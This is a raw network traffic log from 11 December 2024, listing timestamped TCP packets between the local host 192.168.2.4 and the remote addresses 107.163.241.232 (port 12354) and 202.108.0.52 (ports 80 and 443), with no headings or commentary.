Dec 11, 2024 16:26:01.171381950 CET	12354	51386	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:01.171397924 CET	80	51387	202.108.0.52	192.168.2.4
Dec 11, 2024 16:26:02.611855030 CET	80	51387	202.108.0.52	192.168.2.4
Dec 11, 2024 16:26:02.616611004 CET	51387	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:03.164736986 CET	51462	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:03.164797068 CET	443	51462	202.108.0.52	192.168.2.4
Dec 11, 2024 16:26:03.165030956 CET	51462	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:03.171351910 CET	51462	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:03.171366930 CET	443	51462	202.108.0.52	192.168.2.4
Dec 11, 2024 16:26:03.211424112 CET	12354	51378	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:03.211497068 CET	51378	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:03.211561918 CET	51378	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:03.211945057 CET	51468	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:03.212440968 CET	12354	51386	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:03.212486029 CET	51386	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:03.212558985 CET	51386	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:03.327491999 CET	51478	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:03.330888987 CET	12354	51378	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:03.331429958 CET	12354	51468	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:03.331506968 CET	51468	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:03.331675053 CET	51468	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:03.332139969 CET	12354	51386	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:03.446943045 CET	12354	51478	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:03.447031021 CET	51478	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:03.447772026 CET	51478	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:03.451102972 CET	12354	51468	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:03.567025900 CET	12354	51478	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:04.856579065 CET	51462	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:04.856856108 CET	51468	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:04.856875896 CET	51478	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:04.867506981 CET	51568	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:04.986984015 CET	12354	51568	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:04.987065077 CET	51568	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:04.987704039 CET	51387	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:04.988229036 CET	51576	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:04.988960981 CET	51577	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:04.991905928 CET	51568	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:05.107369900 CET	80	51387	202.108.0.52	192.168.2.4
Dec 11, 2024 16:26:05.107444048 CET	80	51576	202.108.0.52	192.168.2.4
Dec 11, 2024 16:26:05.107525110 CET	51387	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:05.107563019 CET	51576	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:05.107765913 CET	51576	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:05.108206987 CET	12354	51577	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:05.108263969 CET	51577	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:05.108432055 CET	51577	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:05.111356974 CET	12354	51568	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:05.227363110 CET	80	51576	202.108.0.52	192.168.2.4
Dec 11, 2024 16:26:05.227861881 CET	12354	51577	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:06.663619995 CET	80	51576	202.108.0.52	192.168.2.4
Dec 11, 2024 16:26:06.663722992 CET	51576	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:06.666045904 CET	51630	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:06.666096926 CET	443	51630	202.108.0.52	192.168.2.4
Dec 11, 2024 16:26:06.668589115 CET	51630	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:06.668889046 CET	51630	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:06.668905973 CET	443	51630	202.108.0.52	192.168.2.4
Dec 11, 2024 16:26:07.095299006 CET	12354	51568	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:07.095422983 CET	51568	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:07.110856056 CET	51568	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:07.111308098 CET	51658	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:07.221211910 CET	12354	51577	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:07.224591970 CET	51577	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:07.224685907 CET	51577	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:07.224972963 CET	51666	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:07.231023073 CET	12354	51568	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:07.231297016 CET	12354	51658	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:07.231384039 CET	51658	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:07.231511116 CET	51658	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:07.345906019 CET	12354	51577	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:07.346173048 CET	12354	51666	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:07.348572969 CET	51666	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:07.348721027 CET	51666	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:07.352036953 CET	12354	51658	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:07.468424082 CET	12354	51666	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:08.372839928 CET	443	51630	202.108.0.52	192.168.2.4
Dec 11, 2024 16:26:08.372936964 CET	51630	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:08.373677015 CET	443	51630	202.108.0.52	192.168.2.4
Dec 11, 2024 16:26:08.376547098 CET	51630	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:08.424004078 CET	51630	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:08.424025059 CET	443	51630	202.108.0.52	192.168.2.4
Dec 11, 2024 16:26:08.424400091 CET	443	51630	202.108.0.52	192.168.2.4
Dec 11, 2024 16:26:08.424469948 CET	51630	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:08.424819946 CET	51630	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:08.471328974 CET	443	51630	202.108.0.52	192.168.2.4
Dec 11, 2024 16:26:08.958612919 CET	51666	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:08.958710909 CET	51658	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:08.958740950 CET	51630	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:08.971564054 CET	51739	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:09.088530064 CET	51741	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:09.089376926 CET	51576	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:09.089544058 CET	51742	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:09.092860937 CET	12354	51739	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:09.092945099 CET	51739	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:09.098010063 CET	51739	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:09.208545923 CET	12354	51741	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:09.208614111 CET	51741	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:09.208740950 CET	51741	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:09.210736990 CET	80	51742	202.108.0.52	192.168.2.4
Dec 11, 2024 16:26:09.210752010 CET	80	51576	202.108.0.52	192.168.2.4
Dec 11, 2024 16:26:09.210813999 CET	51576	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:09.211011887 CET	51742	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:09.211011887 CET	51742	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:09.218189955 CET	12354	51739	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:09.328598976 CET	12354	51741	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:09.331367016 CET	80	51742	202.108.0.52	192.168.2.4
Dec 11, 2024 16:26:10.782651901 CET	80	51742	202.108.0.52	192.168.2.4
Dec 11, 2024 16:26:10.782754898 CET	51742	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:10.785649061 CET	51931	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:10.785675049 CET	443	51931	202.108.0.52	192.168.2.4
Dec 11, 2024 16:26:10.785789967 CET	51931	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:10.786530972 CET	51931	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:10.786540031 CET	443	51931	202.108.0.52	192.168.2.4
Dec 11, 2024 16:26:11.210558891 CET	12354	51739	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:11.210835934 CET	51739	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:11.222328901 CET	51739	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:11.222671032 CET	52288	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:11.312696934 CET	12354	51741	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:11.312796116 CET	51741	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:11.313075066 CET	51741	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:11.341840029 CET	52374	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:11.345366955 CET	12354	51739	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:11.345746994 CET	12354	52288	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:11.345820904 CET	52288	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:11.346539021 CET	52288	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:11.433037043 CET	12354	51741	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:11.461543083 CET	12354	52374	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:11.461642027 CET	52374	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:11.462119102 CET	52374	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:11.465863943 CET	12354	52288	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:11.582583904 CET	12354	52374	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:12.978532076 CET	52288	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:12.978557110 CET	51931	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:12.978584051 CET	52374	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:12.980710030 CET	53686	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:13.094079971 CET	53818	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:13.095156908 CET	51742	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:13.095396996 CET	53820	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:13.100344896 CET	12354	53686	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:13.100447893 CET	53686	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:13.100939989 CET	53686	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:13.214531898 CET	12354	53818	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:13.214618921 CET	53818	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:13.214677095 CET	80	53820	202.108.0.52	192.168.2.4
Dec 11, 2024 16:26:13.214720964 CET	53820	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:13.214842081 CET	80	51742	202.108.0.52	192.168.2.4
Dec 11, 2024 16:26:13.214900970 CET	51742	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:13.215796947 CET	53818	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:13.216111898 CET	53820	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:13.220485926 CET	12354	53686	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:13.335351944 CET	12354	53818	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:13.335411072 CET	80	53820	202.108.0.52	192.168.2.4
Dec 11, 2024 16:26:14.781997919 CET	80	53820	202.108.0.52	192.168.2.4
Dec 11, 2024 16:26:14.782083988 CET	53820	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:14.784713984 CET	55345	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:14.784761906 CET	443	55345	202.108.0.52	192.168.2.4
Dec 11, 2024 16:26:14.784835100 CET	55345	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:14.785625935 CET	55345	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:14.785638094 CET	443	55345	202.108.0.52	192.168.2.4
Dec 11, 2024 16:26:15.223535061 CET	12354	53686	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:15.223620892 CET	53686	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:15.236938953 CET	53686	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:15.237355947 CET	55654	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:15.332950115 CET	12354	53818	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:15.333014011 CET	53818	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:15.356903076 CET	12354	53686	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:15.357207060 CET	12354	55654	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:15.357278109 CET	55654	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:15.377281904 CET	53818	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:15.378324986 CET	55654	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:15.466473103 CET	55673	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:15.498275042 CET	12354	53818	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:15.499290943 CET	12354	55654	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:15.586039066 CET	12354	55673	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:15.588607073 CET	55673	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:15.689882040 CET	55673	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:15.809217930 CET	12354	55673	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:16.475660086 CET	443	55345	202.108.0.52	192.168.2.4
Dec 11, 2024 16:26:16.475769997 CET	55345	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:16.478394032 CET	443	55345	202.108.0.52	192.168.2.4
Dec 11, 2024 16:26:16.478471041 CET	55345	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:16.482691050 CET	55345	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:16.482709885 CET	443	55345	202.108.0.52	192.168.2.4
Dec 11, 2024 16:26:16.483020067 CET	443	55345	202.108.0.52	192.168.2.4
Dec 11, 2024 16:26:16.483067036 CET	55345	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:16.483443975 CET	55345	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:16.527333975 CET	443	55345	202.108.0.52	192.168.2.4
Dec 11, 2024 16:26:16.994406939 CET	55673	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:16.994436979 CET	55654	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:16.994579077 CET	55345	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:16.995085955 CET	56252	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:17.109386921 CET	53820	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:17.109693050 CET	56357	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:17.111730099 CET	56358	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:17.115272999 CET	12354	56252	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:17.115386963 CET	56252	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:17.115521908 CET	56252	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:17.228956938 CET	80	56357	202.108.0.52	192.168.2.4
Dec 11, 2024 16:26:17.229048967 CET	56357	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:17.229372978 CET	56357	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:17.229935884 CET	80	53820	202.108.0.52	192.168.2.4
Dec 11, 2024 16:26:17.229979992 CET	53820	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:17.231168032 CET	12354	56358	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:17.231226921 CET	56358	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:17.232209921 CET	56358	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:17.234761953 CET	12354	56252	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:17.350033998 CET	80	56357	202.108.0.52	192.168.2.4
Dec 11, 2024 16:26:17.351577997 CET	12354	56358	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:18.799427032 CET	80	56357	202.108.0.52	192.168.2.4
Dec 11, 2024 16:26:18.799690008 CET	56357	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:18.898044109 CET	57162	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:18.898063898 CET	443	57162	202.108.0.52	192.168.2.4
Dec 11, 2024 16:26:18.898156881 CET	57162	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:18.901995897 CET	57162	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:18.902014971 CET	443	57162	202.108.0.52	192.168.2.4
Dec 11, 2024 16:26:19.223392963 CET	12354	56252	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:19.223526955 CET	56252	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:19.233093023 CET	56252	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:19.233417034 CET	57170	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:19.345412016 CET	12354	56358	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:19.345465899 CET	56358	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:19.346246004 CET	56358	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:19.353475094 CET	12354	56252	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:19.354234934 CET	12354	57170	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:19.354504108 CET	57170	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:19.355490923 CET	57170	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:19.357980013 CET	57220	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:19.466248035 CET	12354	56358	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:19.475002050 CET	12354	57170	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:19.480535030 CET	12354	57220	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:19.480593920 CET	57220	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:19.481911898 CET	57220	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:19.603681087 CET	12354	57220	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:20.594863892 CET	443	57162	202.108.0.52	192.168.2.4
Dec 11, 2024 16:26:20.594952106 CET	57162	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:20.596226931 CET	57162	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:20.596232891 CET	443	57162	202.108.0.52	192.168.2.4
Dec 11, 2024 16:26:20.598038912 CET	57162	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:20.598047018 CET	443	57162	202.108.0.52	192.168.2.4
Dec 11, 2024 16:26:21.010411978 CET	57170	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:21.010453939 CET	57220	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:21.010727882 CET	57162	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:21.010994911 CET	58813	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:21.128140926 CET	58979	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:21.129937887 CET	56357	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:21.130189896 CET	58981	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:21.130589962 CET	12354	58813	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:21.130681992 CET	58813	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:21.131328106 CET	58813	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:21.247947931 CET	12354	58979	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:21.248022079 CET	58979	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:21.249634981 CET	80	58981	202.108.0.52	192.168.2.4
Dec 11, 2024 16:26:21.249717951 CET	58981	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:21.249813080 CET	80	56357	202.108.0.52	192.168.2.4
Dec 11, 2024 16:26:21.249861002 CET	56357	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:21.250732899 CET	12354	58813	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:21.252327919 CET	58979	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:21.252428055 CET	58981	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:21.373123884 CET	12354	58979	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:21.373270988 CET	80	58981	202.108.0.52	192.168.2.4
Dec 11, 2024 16:26:22.830583096 CET	80	58981	202.108.0.52	192.168.2.4
Dec 11, 2024 16:26:22.830960989 CET	58981	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:22.911279917 CET	60255	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:22.911333084 CET	443	60255	202.108.0.52	192.168.2.4
Dec 11, 2024 16:26:22.911405087 CET	60255	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:22.920145988 CET	60255	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:22.920166969 CET	443	60255	202.108.0.52	192.168.2.4
Dec 11, 2024 16:26:23.238271952 CET	12354	58813	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:23.238351107 CET	58813	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:23.238940001 CET	58813	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:23.239278078 CET	60535	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:23.360327959 CET	12354	58813	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:23.360512972 CET	12354	60535	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:23.360589027 CET	60535	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:23.361043930 CET	60535	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:23.362477064 CET	12354	58979	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:23.362541914 CET	58979	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:23.363228083 CET	58979	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:23.363375902 CET	60620	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:23.482856989 CET	12354	60535	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:23.482872009 CET	12354	58979	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:23.483350992 CET	12354	60620	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:23.483472109 CET	60620	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:23.484586000 CET	60620	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:23.604614019 CET	12354	60620	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:24.620012999 CET	443	60255	202.108.0.52	192.168.2.4
Dec 11, 2024 16:26:24.620081902 CET	60255	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:24.621026993 CET	60255	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:24.621037006 CET	443	60255	202.108.0.52	192.168.2.4
Dec 11, 2024 16:26:24.623187065 CET	60255	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:24.623234987 CET	443	60255	202.108.0.52	192.168.2.4
Dec 11, 2024 16:26:24.623286963 CET	60255	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:24.809268951 CET	58981	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:24.809556961 CET	62056	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:24.930387020 CET	80	58981	202.108.0.52	192.168.2.4
Dec 11, 2024 16:26:24.930403948 CET	80	62056	202.108.0.52	192.168.2.4
Dec 11, 2024 16:26:24.930460930 CET	58981	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:24.930591106 CET	62056	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:24.931222916 CET	62056	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:25.038176060 CET	60620	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:25.038208008 CET	62056	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:25.038237095 CET	60535	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:25.041434050 CET	62221	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:25.050802946 CET	80	62056	202.108.0.52	192.168.2.4
Dec 11, 2024 16:26:25.050991058 CET	62056	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:25.155337095 CET	62240	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:25.156889915 CET	62241	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:25.160923004 CET	12354	62221	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:25.161031008 CET	62221	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:25.161228895 CET	62221	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:25.274888039 CET	12354	62240	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:25.275068998 CET	62240	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:25.276005030 CET	62240	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:25.276341915 CET	80	62241	202.108.0.52	192.168.2.4
Dec 11, 2024 16:26:25.276443958 CET	62241	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:25.276731014 CET	62241	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:25.280632973 CET	12354	62221	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:25.396004915 CET	12354	62240	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:25.396464109 CET	80	62241	202.108.0.52	192.168.2.4
Dec 11, 2024 16:26:26.836364031 CET	80	62241	202.108.0.52	192.168.2.4
Dec 11, 2024 16:26:26.836435080 CET	62241	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:26.840301991 CET	63751	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:26.840322971 CET	443	63751	202.108.0.52	192.168.2.4
Dec 11, 2024 16:26:26.840421915 CET	63751	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:26.841514111 CET	63751	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:26.841526031 CET	443	63751	202.108.0.52	192.168.2.4
Dec 11, 2024 16:26:27.267657042 CET	12354	62221	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:27.268714905 CET	62221	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:27.269146919 CET	62221	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:27.269149065 CET	64094	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:27.388377905 CET	12354	62221	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:27.388447046 CET	12354	64094	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:27.388708115 CET	64094	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:27.389686108 CET	64094	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:27.395337105 CET	12354	62240	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:27.395524979 CET	62240	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:27.396171093 CET	62240	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:27.396495104 CET	64295	12354	192.168.2.4	107.163.241.232
